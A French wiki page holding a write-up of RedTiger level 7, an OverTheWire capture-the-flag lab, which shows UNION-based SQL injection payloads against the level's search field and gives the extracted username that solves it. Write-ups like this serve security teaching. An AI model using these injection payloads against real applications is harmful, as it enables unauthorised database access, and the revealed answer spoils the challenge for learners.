Outils d'utilisateurs

Outils du Site


redtiger_level7

Redtiger level 7

Adresse de l’épreuve : http://redtiger.labs.overthewire.org/level7.php

Dans cette épreuve, l'objectif est de récupérer le nom d'utilisateur ayant posté une news à propos de google. Un indice est donné; celui de la colonne autor dans la table level7_news. Un champ de recherche est disponible sur la page, en l'utilisant simplement, cela donne :

En testant d'afficher une erreur MySQL en utilisant une simple quote, la requête que nous obtenons est la suivante:

Nous allons utiliser ce message d'erreur pour créer un payload valide. Dans ce challenge, la commande MySQL ORDER BY est désactivée (et bien d'autres). Pour connaître le nombre de colonne, nous utiliserons l'affichage de la page pour nous aider.

Voici notre premier payload:

google%') UNION SELECT 1,2,3,4,5 FROM level7_news news, level7_texts text where ('%'='

Ce qui donne :

SELECT news.*,text.text,text.title FROM level7_news news, level7_texts text WHERE text.id = news.id AND (text.text LIKE '%google%') UNION SELECT 1,2,3,4,5 FROM level7_news news, level7_texts text where ('%'='%' OR text.title LIKE '%google%') UNION SELECT 1,2,3,4,5 FROM level7_news news,level7_texts text where ('%'='%')

Nous obtenons:

Nous avons créé un payload pour faire en sorte que la requête soit valide. En effet, à la fin de notre injection nous avons ajouté une clause where permettant de renvoyer TRUE: where ('\%'='\%'

Avec notre deuxième payload les colonnes vulnérables s'affichent:

google%') UNION SELECT 1,2,3,4 FROM level7_news news, level7_texts text where ('%'='

Nous pouvons maintenant utiliser l'indice de départ (la colonne autor de la table news Notre payload:

google%') union select 1,2,3,news.autor FROM level7_news news, level7_texts text where ('%'='

L'utilisateur permettant de valider le challenge est: TestUserforg00gle

redtiger_level7.txt · Dernière modification: 2017/04/09 15:33 (modification externe)